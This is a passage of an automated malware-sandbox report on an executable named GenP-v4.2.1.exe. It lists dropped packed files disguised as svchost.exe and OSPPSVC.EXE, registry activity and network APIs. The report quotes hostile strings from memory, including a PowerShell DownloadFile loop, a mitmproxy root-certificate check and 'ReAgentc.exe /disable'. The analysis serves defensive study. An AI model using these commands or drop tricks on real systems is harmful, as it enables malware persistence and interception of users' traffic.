"IPHLPAPI.DLL" at base 74d20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 74820000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 747c0000 "powershell.exe" loaded module "%WINDIR%\SYSWOW64\SCHANNEL.DLL" at base 6f340000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 70480000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK\V4.0.30319\DIASYMREADER.DLL" at base 6f220000 "OSPPSVC.EXE" loaded module "OLEAUT32" at base 75d900003d:T40f,file/memory contains long string with (Indicator: "Test-Path"; File: "AMSI") Found string "$webClient = New-Object System.Net.WebClient" (Indicator: "New-Object"; File: "AMSI") Found string "foreach ($file in $files) { if (-Not (Test-Path $file.Path)) { try { $webClient.DownloadFile($file.Url, $file.Path) } catch { } } else { }}" (Indicator: "Test-Path"; File: "AMSI") Found string "if (Test-Path $ProgramFilesX86) {" (Indicator: "Test-Path"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found string "$webClient = New-Object System.Net.WebClient" (Indicator: "New-Object"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp") Found string "if (-Not (Test-Path $file.Path)) {" (Indicator: "Test-Path"; Source: "00000000-00001656.00000000.254252.04000000.00000004.mdmp, 00000000-00001656.00000001.256170.04000000.00000004.mdmp")3e:Ta21,"GenP-v4.2.1.exe" touched "Scripting.Dictionary" (Path: "HKCU\CLSID\{EE09B103-97E0-11CF-978F-00A02463E06F}") "svchost.exe" touched "WBEM Scripting Locator" (Path: "HKCU\WOW6432NODE\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}") "svchost.exe" touched "TaskScheduler class" (Path: "HKCU\WOW6432NODE\CLSID\{0F87369F-A4E5-4CFC-BD3E-73E6154572DD}\TREATAS") "svchost.exe" touched "WBEM Locator" (Path: "HKCU\WOW6432NODE\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "svchost.exe" touched "PSDispatch" (Path: "HKCU\WOW6432NODE\CLSID\{00020420-0000-0000-C000-000000000046}\TREATAS") "svchost.exe" touched "PSTypeInfo" (Path: "HKCU\WOW6432NODE\CLSID\{00020422-0000-0000-C000-000000000046}\TREATAS") "svchost.exe" touched "WbemDefaultPathParser" (Path: "HKCU\WOW6432NODE\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "svchost.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\WOW6432NODE\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "svchost.exe" touched "PSFactoryBuffer" (Path: "HKCU\WOW6432NODE\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "svchost.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\WOW6432NODE\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "svchost.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\WOW6432NODE\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "svchost.exe" touched "Microsoft WBEM (non)Standard Marshaling for IEnumWbemClassObject" (Path: "HKCU\WOW6432NODE\CLSID\{1B1CAD8C-2DAB-11D2-B604-00104B703EFD}\TREATAS") "svchost.exe" touched "PSEnumVariant" (Path: "HKCU\WOW6432NODE\CLSID\{00020421-0000-0000-C000-000000000046}\TREATAS") "svchost.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\WOW6432NODE\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\WOW6432NODE\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\WOW6432NODE\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\WOW6432NODE\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\WOW6432NODE\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "OSPPSVC.EXE" touched "PSOAInterface" (Path: "HKCU\WOW6432NODE\CLSID\{00020424-0000-0000-C000-000000000046}\TREATAS")3f:T425,Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\cmd.exe" [Source: 00000000-00007688-00000BC0-2979754398] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00007688-00000BC0-2979756125] Observed system executable string:"%WINDIR%\system32\cmd.exe /c certutil -store Root mitmproxy >nul 2>&1" [Source: 00000000-00007688-00000C47-33495623540] Observed system executable string:"%WINDIR%\system32\certutil.exe" [Source: 00000000-00000788-00000C47-482641232] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\conhost.exe" [Source: 00000000-00000788-00000BC0-2979954400] Observed system executable string:"\Device\HarddiskVolume3\Windows\System32\certutil.exe" [Source: 00000000-00000788-00000BC0-2980444095] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00005880-00000C47-26459171022] Observed system executable string:""%WINDIR%\system32\ReAgentc.exe" /disable" [Source: 00000000-00006656-00000C47-78402244878]40:T709,"Genpv4.2.1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "Genpv4.2.1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "GenP-v4.2.1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "GenP-v4.2.1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "svchost.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "cmd.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "OSPPSVC.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY") "OSPPSVC.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "OSPPSVC.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "OSPPSVC.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "OSPPSVC.EXE" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EMPTY")41:Tf49,Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00006860-00000C2E-455017446] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00006860-00000C2B-2961013176] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00006860-00000C2B-2961081355] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00006860-00000C2B-2961173191] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00006860-00000C2B-2961451243] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00006860-00000C2B-2961482317] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006860-00000C2B-2961545870] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clrjit.dll" [Source: 00000000-00006860-00000C2B-2961611843] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00006860-00000C2B-2961636410] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00006860-00000C2B-2962675716] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00001656-00000C2B-3013726672] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00006656-00000C2E-1493159024] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00006656-00000C2B-3030730598] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00006656-00000C2B-3030806074] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\8d55d7cad944a3f21aeb1db491f3d6de\mscorlib.ni.dll" [Source: 00000000-00006656-00000C2B-3031391720] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00006656-00000C2B-3031469061] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00006656-00000C2B-3031529046] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00006656-00000C2B-3031574667] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00006656-00000C2B-3032033862] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00006656-00000C2B-3032053968] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\10e5a0803d11b8b826dbeb56a1f98239\System.ni.dll" [Source: 00000000-00006656-00000C2B-3032493812] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System.Core\53fcc36b6b7c9cc86e5d7484c1f93bd8\System.Core.ni.dll" [Source: 00000000-00006656-00000C2B-3032559889] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00006656-00000C2B-3032608413] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00006656-00000C2B-3032921590] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00006656-00000C2B-3033221200]42:Ta9f,The input sample is signed with a certificate issued by "CN=SSL.com SSL Intermediate CA ECC R2, O=SSL Corp, L=Houston, ST=Texas, C=US" (SHA1: F8:86:35:01:72:60:D4:0B:9E:B4:17:BE:E7:37:37:91:1B:63:0E:59; see report for more information) The input sample is signed with a certificate issued by "CN=SSL.com Root Certification Authority ECC, O=SSL Corporation, L=Houston, ST=Texas, C=US" (SHA1: 92:19:61:2E:90:1C:49:04:F9:83:5E:E8:C2:AD:D5:4F:F0:B7:97:FD; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication CA DV R36, O=Sectigo Limited, C=GB" (SHA1: 3C:4A:8B:66:43:0E:DD:E6:B6:F0:3F:D4:31:E0:1A:5E:30:FC:E5:40; see report for more information) The input sample is signed with a certificate issued by "CN=Sectigo Public Server Authentication Root R46, O=Sectigo Limited, C=GB" (SHA1: DD:55:B4:52:02:91:E2:76:58:8F:0D:D0:2F:AF:D8:3A:73:68:E0:FA; see report for more information) The input sample is signed with a certificate issued by "CN=USERTrust RSA Certification Authority, O=The USERTRUST Network, L=Jersey City, ST=New Jersey, C=US" (SHA1: 2B:18:94:7A:6A:9F:C7:76:4F:D8:B5:FB:18:A8:63:B0:C6:DA:C2:4F; see report for more information) The input sample is signed with a certificate issued by "CN=AAA Certificate Services, O=Comodo CA Limited, L=Salford, ST=Greater Manchester, C=GB" (SHA1: D8:9E:3B:D4:3D:5D:90:9B:47:A1:89:77:AA:9D:5C:E3:6C:EE:18:4C; see report for more information) The input sample is signed with a certificate issued by "CN=YE1, O=Let's Encrypt, C=US" (SHA1: AB:25:EB:6F:79:0C:98:69:DF:E7:06:17:12:53:55:51:63:BA:20:D7; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: D0:93:70:A9:86:49:82:A5:04:7D:A4:63:73:54:02:56:D0:8A:3C:81; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: F3:76:20:FC:4B:1C:DD:D2:A3:D7:4B:1D:5E:8D:B4:2E:24:4C:A0:06; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: 3C:34:E3:56:C7:FC:17:F5:AC:F0:48:24:BC:58:7C:6C:62:39:51:A2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Atlas R3 DV TLS CA 2026 Q2, O=GlobalSign nv-sa, C=BE" (SHA1: 43:73:33:AB:BC:05:B7:FC:F3:56:7F:D7:00:31:93:88:47:3D:DE:5B; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign, O=GlobalSign, OU=GlobalSign Root CA - R3" (SHA1: 37:08:77:93:79:80:7F:7C:FD:3C:9C:5E:62:83:55:15:F3:CC:62:0C; see report for more information)43:T970,"GenP-v4.2.1.exe" has type "PE32+ executable for MS Windows 5.02 (GUI) x86-64 7 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe]- [targetUID: 00000000-00007688] "svchost.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\svchost.exe]- [targetUID: 00000000-00001656] "ModuleAnalysisCache" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\ModuleAnalysisCache]- [targetUID: 00000000-00006656] "config.ini" has type "Generic INItialization configuration [Default]"- Location: [%ALLUSERSPROFILE%\Microsoft\Windows\WER\Temp\c43862135138\config.ini]- [targetUID: 00000000-00007688] "StartupProfileData-Interactive" has type "data"- Location: [%LOCALAPPDATA%\Microsoft\Windows\PowerShell\StartupProfileData-Interactive]- [targetUID: 00000000-00006656] "__PSScriptPolicyTest_3yjnbpvk.wkh.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_3yjnbpvk.wkh.psm1]- [targetUID: 00000000-00006656] "dllhost.exe" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%TEMP%\dllhost.exe]- [targetUID: 00000000-00001656] "__PSScriptPolicyTest_g1ysq5aj.x5f.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_g1ysq5aj.x5f.ps1]- [targetUID: 00000000-00006656] "__PSScriptPolicyTest_jijndlqk.guu.ps1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_jijndlqk.guu.ps1]- [targetUID: 00000000-00006656] "OSPPSVC.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\Google\Chrome\Application\OSPPSVC.EXE]- [targetUID: 00000000-00001656] "OSPPSVC.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%PROGRAMFILES%\(x86)\Microsoft\Edge\Application\OSPPSVC.EXE]- [targetUID: 00000000-00001656] "OSPPSVC.EXE" has type "PE32 executable for MS Windows 6.01 (GUI) Intel i386 UPX compressed 3 sections"- Location: [%LOCALAPPDATA%\Programs\OSPPSVC.EXE]- [targetUID: 00000000-00001656] "__PSScriptPolicyTest_uwd1u1ok.5vv.psm1" has type "ASCII text with no line terminators"- Location: [%TEMP%\__PSScriptPolicyTest_uwd1u1ok.5vv.psm1]- [targetUID: 00000000-00006656]44:T537,"Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CCG"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\SETUP"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\IMAGE FILE EXECUTION OPTIONS\GENPV4.2.1.EXE"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS NT\RPC"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\STATESEPARATION\REDIRECTIONMAP\KEYS"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "")45:T53d,"Genpv4.2.1.exe" queries basic process information of the "C:\Genpv4.2.1.exe" (UID: 6860) "GenP-v4.2.1.exe" queries basic process information of the "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe" (UID: 7688) "svchost.exe" queries basic process information of the "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\svchost.exe" (UID: 1656) "svchost.exe" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" (UID: 1656) "cmd.exe" queries basic process information of the "C:\Windows\System32\cmd.exe" (UID: 788) "certutil.exe" queries basic process information of the "C:\Windows\System32\certutil.exe" (UID: 5304) "OSPPSVC.EXE" queries basic process information of the "C:\Users\%OSUSER%\AppData\Local\Programs\OSPPSVC.EXE" (UID: 5880) "OSPPSVC.EXE" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 5880) "OSPPSVC.EXE" queries basic process information of the "C:\Program Files (x86)\Microsoft\Edge\Application\OSPPSVC.EXE" (UID: 5880) "OSPPSVC.EXE" queries basic process information of the "C:\Program Files\Google\Chrome\Application\OSPPSVC.EXE" (UID: 5880) "powershell.exe" queries basic process information of the "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" (UID: 6656)46:Tc94,"Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "MAXRPCSIZE"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\COMPUTERNAME\ACTIVECOMPUTERNAME"; Key: "COMPUTERNAME"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "OOBEINPROGRESS"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\SETUP"; Key: "SYSTEMSETUPINPROGRESS"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\RPC"; Key: "IDLETIMERWINDOW"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "SAFEDLLSEARCHMODE"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "ACP"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CODEPAGE"; Key: "OEMCP"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RAISEEXCEPTIONONPOSSIBLEDEADLOCK"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: "RESOURCEPOLICIES"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "57A6ED1A-79F7-5011-B242-4784E5620CF7"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "3C74AFB9-8D82-44E3-B52C-365DBF48382A"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "B749553B-D950-5E03-6282-3145A61B1002"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "05F95EFE-7F75-49C7-A994-60A55CC09571"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: ""; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\SORTING\VERSIONS"; Key: "000604XX"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: "TRANSPARENTENABLED"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\FILESYSTEM"; Key: "LONGPATHSENABLED"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "8CCCA27D-F1D8-4DDA-B5DD-339AEE937731"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "LOGFLAGS"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\WMI\SECURITY"; Key: "18608E62-A628-49D9-8C02-55972E097D24"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS"; Key: "SHOWDEBUGINFO"; Value: "") "Genpv4.2.1.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\APPCOMPATFLAGS\SDBUPDATES"; Key: "SYSMAIN.SDB"; Value: "")47:T7b5,"Genpv4.2.1.exe" trying to access non-existent file "C:\FLTLIB.DLL" "Genpv4.2.1.exe" trying to access non-existent file "C:\MSVCP140.dll" "Genpv4.2.1.exe" trying to access non-existent file "C:\VCRUNTIME140.dll" "Genpv4.2.1.exe" trying to access non-existent file "C:\VCRUNTIME140_1.dll" "Genpv4.2.1.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\clr.dll" "Genpv4.2.1.exe" trying to access non-existent file "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ucrtbase_clr0400.dll" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\FLTLIB.DLL" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\MSVCP140.dll" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\VCRUNTIME140.dll" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\VCRUNTIME140_1.dll" "svchost.exe" trying to access non-existent file "C:\WINDOWS\system32\wow64log.dll" "svchost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\FLTLIB.DLL" "svchost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\MSVCP140.dll" "svchost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\VCRUNTIME140.dll" "svchost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\CRYPTSP.DLL" "svchost.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\CRYPTBASE.dll" "svchost.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\rpcss.dll" "svchost.exe" trying to access non-existent file "C:\WINDOWS\SysWOW64\wbem\wbemcomn.dll" "certutil.exe" trying to access non-existent file "C:\WINDOWS\system32\certadm.dll"48:T465,"Genpv4.2.1.exe" trying to access non-existent file "C:\Genpv4.2.1.exe.config" "Genpv4.2.1.exe" trying to access non-existent file "C:\Windows\assembly\NativeImages_v4.0.30319_64\merged" "Genpv4.2.1.exe" trying to access non-existent file "C:\Genpv4.2.1.INI" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\GenP-v4.2.1.exe.Local\" "GenP-v4.2.1.exe" trying to access non-existent file "C:\Windows\System32\UxTheme.dll.Config" "GenP-v4.2.1.exe" trying to access non-existent file "C:\Program Files\Adobe" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\patch_states.ini" "GenP-v4.2.1.exe" trying to access non-existent file "C:\Windows\SystemResources\USER32.dll.mun" "GenP-v4.2.1.exe" trying to access non-existent file "C:\ProgramData\Microsoft\Windows\WER\Temp\c43862135138\Skull.ico" "GenP-v4.2.1.exe" trying to access non-existent file "C:\Program Files (x86)\Common Files\Adobe\AdobeGCClient" "GenP-v4.2.1.exe" trying to access non-existent file "C:\WINDOWS\System32\drivers\etc\hosts.bak"49:T949,Found reference to API "InternetOpenW" (Indicator: "InternetOpen"; File: "Genp v4.2.1.exe") Found reference to API "HttpQueryInfoW" (Indicator: "HttpQueryInfo"; File: "Genp v4.2.1.exe") Found reference to API "InternetConnectW" (Indicator: "InternetConnect"; File: "Genp v4.2.1.exe") Found reference to API "HttpOpenRequestW" (Indicator: "HttpOpenRequest"; File: "Genp v4.2.1.exe") Found reference to API "HttpSendRequestW" (Indicator: "HttpSendRequest"; File: "Genp v4.2.1.exe") Found reference to API "InternetOpenUrlW" (Indicator: "InternetOpen"; File: "Genp v4.2.1.exe") Found reference to API "InternetReadFile" (Indicator: "InternetReadFile"; File: "Genp v4.2.1.exe") Found reference to API "WSAStartup" (Indicator: "WSAStartup"; Source: "00000000-00001656-00000C2C-2967804026") Found reference to API "WSARecvFrom" (Indicator: "WSARecv"; Source: "00000000-00001656-00000C2C-2968352689") Found reference to API "WSASendTo" (Indicator: "WSASend"; Source: 